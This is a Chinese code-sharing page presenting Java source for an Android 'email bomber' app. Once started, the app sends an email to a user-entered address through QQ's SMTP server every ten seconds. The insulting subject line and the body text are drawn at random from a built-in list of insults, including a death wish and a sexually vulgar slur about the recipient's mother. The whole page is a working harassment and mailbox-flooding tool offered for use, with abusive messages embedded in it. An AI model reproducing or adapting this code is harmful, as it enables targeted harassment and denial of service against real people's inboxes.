您的位置:首页 > 移动开发 > Android开发

android 邮件轰炸机

2016-08-04 02:07 471 查看
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.EditText;

import com.example.fangw.testapp.R;

import java.util.Date;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;

import javax.activation.DataHandler;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
import javax.mail.util.ByteArrayDataSource;

public class EmailActivity extends BaseActivity implements View.OnClickListener {
private EditText ed_mperson;

/**
* Called when the activity is first created.
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_email);
findViewById(R.id.bt_start).setOnClickListener(this);
findViewById(R.id.bt_stop).setOnClickListener(this);
ed_mperson=(EditText)findViewById(R.id.ed_mperson);
}

Timer timer = new Timer();

@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.bt_start:
timer.scheduleAtFixedRate((new TimerTask() {
public void run() {
try {
sendEmail(ed_mperson.getText().toString(),"XXX逗逼一个",getMString());
} catch (Exception e) {
e.printStackTrace();
}
}
}), new Date(), 1000 * 10);
break;
case R.id.bt_stop:
timer.purge();
timer.cancel();
break;
}
}

public void sendEmail(String to, String subject, String content) throws Exception, MessagingException {
String host = "smtp.exmail.qq.com";//"smtp.qq.com";//
String address = "ggggg@ggg.com.cn";//"123456@qq.com";//
String from = "ggggg@ggg.com.cn";
String password = "123456";// 密码
if ("".equals(to) || to == null) {
to = "123456@qq.com";//"123456@qq.com";//
}
String port = "587";
SendEmail(host, address, from, password, to, port, subject, content);
}

public static void SendEmail(String host, String address, String from, String password, String to, String port, String subject, String content) throws Exception {
Multipart multiPart;
String finalString = "";

Properties props = System.getProperties();
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", host);
props.put("mail.smtp.user", address);
props.put("mail.smtp.password", password);
props.put("mail.smtp.port", port);
props.put("mail.smtp.auth", "true");
Log.i("Check", "done pops");
Session session = Session.getDefaultInstance(props, null);
DataHandler handler = new DataHandler(new ByteArrayDataSource(finalString.getBytes(), "text/plain"));
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));
message.setDataHandler(handler);
Log.i("Check", "done sessions");

multiPart = new MimeMultipart();
InternetAddress toAddress;
toAddress = new InternetAddress(to);
message.addRecipient(Message.RecipientType.TO, toAddress);
Log.i("Check", "added recipient");
message.setSubject(subject);
message.setContent(multiPart);
message.setText(content);

Log.i("check", "transport");
Transport transport = session.getTransport("smtp");
Log.i("check", "connecting");
transport.connect(host, address, password);
Log.i("check", "wana send");
transport.sendMessage(message, message.getAllRecipients());
transport.close();
Log.i("check", "sent");
}

public String getMString() {

String[] mString = new String[]{
"1、啊~没事,就是清明上坟的时候,突然想起你,为什么那么多人死,你还不死呢?",
"2、玩感情? 我会让你哭的很有节奏…",
"3、喜欢你的时候你说什么就是什么, 不喜欢你的时候, 你说你是什么?",
"4、和人接触的时间越长,我就越喜欢狗,狗永远是狗,人有时候不是人!",
"5、贱人永远都是贱人,就算经济危机了,你也贵不了!",
"6、别和我装你活的精彩过的幸福,也别祝我幸福,你有那资格吗?",
"7、别在分手的时候和我说:“其实你很好” 草,那你还甩我?",
"8、唾沫是用来数钞票的,而不是用来讲道理的",
"9、不该看的不看,不该说的不说,不该听的不听,不该想的不想,该干什么干什么去",
"10、少在我面前拽的跟二五八万似的,摆好POSE 在装逼!","西边的太阳坏要落山了,你Ma的裤子就要脱下了,扛起我心爱的大xx-x,和你Ma过起那快乐的Xing生活?!"
};
return mString[(int) (Math.random() * (mString.length))];
}
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息